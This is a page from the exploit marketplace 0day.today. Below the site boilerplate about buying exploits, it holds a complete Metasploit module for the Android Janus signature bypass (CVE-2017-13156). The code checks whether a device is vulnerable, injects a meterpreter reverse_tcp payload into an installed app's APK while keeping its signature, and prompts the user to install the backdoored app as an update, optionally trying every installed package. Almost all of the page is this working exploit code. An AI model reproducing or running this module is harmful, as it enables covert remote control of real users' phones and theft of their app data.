0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Android Janus - APK Signature Bypass Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/payload/apk' class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Android::Priv include Msf::Payload::Android def initialize(info={}) super( update_info( info, { 'Name' => "Android Janus APK Signature bypass", 'Description' => %q{ This module exploits CVE-2017-13156 in Android to install a payload into another application. The payload APK will have the same signature and can be installed as an update, preserving the existing data. The vulnerability was fixed in the 5th December 2017 security patch, and was additionally fixed by the APK Signature scheme v2, so only APKs signed with the v1 scheme are vulnerable. Payload handler is disabled, and a multi/handler must be started first. }, 'Author' => [ 'GuardSquare', # discovery 'V-E-O', # proof of concept 'timwr', # metasploit module 'h00die', # metasploit module ], 'References' => [ [ 'CVE', '2017-13156' ], [ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ], [ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ], ], 'DisclosureDate' => 'Jul 31 2017', 'SessionTypes' => [ 'meterpreter' ], 'Platform' => [ 'android' ], 'Arch' => [ ARCH_DALVIK ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', 'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission 'DisablePayloadHandler' => true, }, 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'], 'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore } })) register_options([ OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']), ]) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), ] end def check os = cmd_exec("getprop ro.build.version.release") unless Gem::Version.new(os).between?(Gem::Version.new('5.1.1'), Gem::Version.new('8.0.0')) vprint_error "Android version #{os} is not vulnerable." return CheckCode::Safe end vprint_good "Android version #{os} appears to be vulnerable." patch = cmd_exec('getprop ro.build.version.security_patch') if patch.empty? print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.' elsif patch > '2017-12-05' vprint_error "Android security patch level #{patch} is patched." return CheckCode::Safe else vprint_good "Android security patch level #{patch} is vulnerable" end CheckCode::Appears end def exploit def infect(apkfile) unless apkfile.start_with?("package:") fail_with Failure::BadConfig, 'Unable to locate app apk' end apkfile = apkfile[8..-1] print_status "Downloading APK: #{apkfile}" apk_data = read_file(apkfile) begin # Create an apk with the payload injected apk_backdoor = ::Msf::Payload::Apk.new apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false) # Extract the classes.dex dex_data = '' Zip::File.open_buffer(apk_zip) do |zipfile| dex_data = zipfile.read("classes.dex") end dex_size = dex_data.length # Fix the original APKs zip file code directory cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06") cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0] apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V") pos = cd_start_addr while pos && pos < cd_end_addr offset = apk_data[pos+42, pos+46].unpack("V")[0] apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V") pos = apk_data.index("\x50\x4b\x01\x02", pos+46) end # Prepend the new classes.dex to the apk out_data = dex_data + apk_data out_data[32...36] = [ out_data.length ].pack("V") out_data = fix_dex_header(out_data) out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk" print_status "Uploading APK: #{out_apk}" write_file(out_apk, out_data) register_file_for_cleanup(out_apk) print_status "APK uploaded" # Prompt the user to update the APK session.appapi.app_install(out_apk) print_status "User should now have a prompt to install an updated version of the app" true rescue => e print_error e.to_s false end end unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if datastore["PACKAGE"] == 'ALL' vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)') apkfiles = [] all = cmd_exec("pm list packages").split("\n") c = 1 all.each do |package| package = package.split(':')[1] vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}") c += 1 next if ['com.metasploit.stage', # avoid injecting into ourself ].include? package # This was left on purpose to be expanded as need be for testing result = infect(cmd_exec("pm path #{package}")) break if result end else infect(cmd_exec("pm path #{datastore["PACKAGE"]}")) end end end # 0day.today [2024-09-28] #